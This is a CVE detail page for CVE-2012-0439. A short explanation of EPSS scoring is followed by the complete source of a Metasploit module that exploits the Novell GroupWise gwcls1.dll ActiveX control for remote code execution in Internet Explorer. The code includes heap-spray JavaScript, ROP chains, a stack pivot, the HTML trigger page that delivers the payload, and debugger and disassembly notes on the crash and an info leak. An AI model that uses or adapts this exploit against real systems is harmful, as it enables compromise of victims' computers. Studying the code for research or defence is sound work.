CVE-2012-0439 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "6.0", :ua_maxver => "9.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :rank => NormalRanking, :classid => "{601D7813-408F-11D1-98D7-444553540000}", :method => "SetEngine" }) def initialize(info={}) super(update_info(info, 'Name' => "Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution", 'Description' => %q{ This module exploits a vulnerability in the Novell GroupWise Client gwcls1.dll ActiveX. Several methods in the GWCalServer control use user provided data as a pointer, which allows to read arbitrary memory and execute arbitrary code. This module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The JRE6 needs to be installed to achieve ASLR bypass. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-0439' ], [ 'OSVDB', '89700' ], [ 'BID' , '57658' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-008' ], [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011688' ] ], 'Payload' => { 'BadChars' => "\x00", 'Space' => 1040, 'DisableNops' => true }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # gwcls1.dll 12.0.0.8586 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x3e3' } ], [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ], [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x3e3' } ], [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x3e3' } ], [ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x3ed' } ]#'0x5fe' } ] ], 'Privileged' => false, 'DisclosureDate' => "Jan 30 2013", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def ie_heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) # Land the payload at 0x0c0c0c0c case my_target when targets[7] # IE 9 on Windows 7 js = %Q| function randomblock(blocksize) { var theblock = ""; for (var i = 0; i < blocksize; i++) { theblock += Math.floor(Math.random()*90)+10; } return theblock; } function tounescape(block) { var blocklen = block.length; var unescapestr = ""; for (var i = 0; i < blocklen-1; i=i+4) { unescapestr += "%u" + block.substring(i,i+4); } return unescapestr; } var heap_obj = new heapLib.ie(0x10000); var code = unescape("#{js_code}"); var nops = unescape("#{js_random_nops}"); while (nops.length < 0x80000) nops += nops; var offset_length = #{my_target['Offset']}; for (var i=0; i < 0x1000; i++) { var padding = unescape(tounescape(randomblock(0x1000))); while (padding.length < 0x1000) padding+= padding; var junk_offset = padding.substring(0, offset_length); var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length); while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); heap_obj.alloc(sprayblock); } | else # For IE 6, 7, 8 js = %Q| var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } var overflow = nops.substring(0, 10); | end js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end return js end def stack_pivot pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset return pivot end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return [0x0c0c0c10 - 0x426].pack("V") + [0x0c0c0c14].pack("V") + code if t['Rop'].nil? # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") rop_payload = generate_rop_payload('msvcrt', '', 'target'=>'xp') # Mapped at 0x0c0c07ea jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string rop_payload << jmp_shell rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length) rop_payload << [0x0c0c0c10 - 0x426].pack("V") # Mapped at 0x0c0c0c0c # 0x426 => vtable offset rop_payload << [0x77c15ed5].pack("V") # Mapped at 0x0c0c0c10 # xchg eax, esp # ret rop_payload << stack_pivot rop_payload << code else print_status("Using JRE ROP") rop_payload = generate_rop_payload('java', '') # Mapped at 0x0c0c07ea jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string rop_payload << jmp_shell rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length) rop_payload << [0x0c0c0c10 - 0x426].pack("V") # Mapped at 0x0c0c0c0c # 0x426 => vtable offset rop_payload << [0x7C348B05].pack("V") # Mapped at 0x0c0c0c10 # xchg eax, esp # ret rop_payload << stack_pivot rop_payload << code end return rop_payload end def load_exploit_html(my_target, cli) p = get_payload(my_target, cli) js = ie_heap_spray(my_target, p) trigger = "target.GetNXPItem(\"22/10/2013\", 1, 1);" * 200 html = %Q| <html> <head> <script> #{js} </script> </head> <body> <object classid='clsid:601D7813-408F-11D1-98D7-444553540000' id ='target'> </object> <script> target.SetEngine(0x0c0c0c0c-0x20); setInterval(function(){#{trigger}},1000); </script> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin * Remote Code Exec (240.8d4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\PROGRA~1\Novell\GROUPW~1\gwenv1.dll - eax=00000000 ebx=0c0c0bec ecx=030c2998 edx=030c2998 esi=0c0c0bec edi=0013df58 eip=10335e2d esp=0013de04 ebp=0013de8c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202 gwenv1!NgwOFErrorEnabledVector<NgwOFAttribute>::SetParent+0x326b9d: 10335e2d 8a8e4f040000 mov cl,byte ptr [esi+44Fh] ds:0023:0c0c103b=?? .text:103BDDEC mov eax, [ebp+var_4] // var_4 => Engine + 0x20 .text:103BDDEF test esi, esi .text:103BDDF1 jnz short loc_103BDE17 .text:103BDDF3 cmp [eax+426h], esi .text:103BDDF9 jz short loc_103BDE17 // Check function pointer against nil? .text:103BDDFB mov ecx, [ebp+arg_8] .text:103BDDFE mov edx, [ebp+arg_4] .text:103BDE01 push ecx .text:103BDE02 mov ecx, [eax+42Ah] // Carefully crafted object allows to control it .text:103BDE08 push edx .text:103BDE09 mov edx, [eax+426h] // Carefully crafted object allows to control it .text:103BDE0F push ecx .text:103BDE10 call edx // Win! * Info Leak // Memory disclosure => 4 bytes from an arbitrary address // Unstable when info leaking and triggering rce path... target.SetEngine(0x7ffe0300-0x45c); // Disclosing ntdll var leak = target.GetMiscAccess(); alert(leak); =end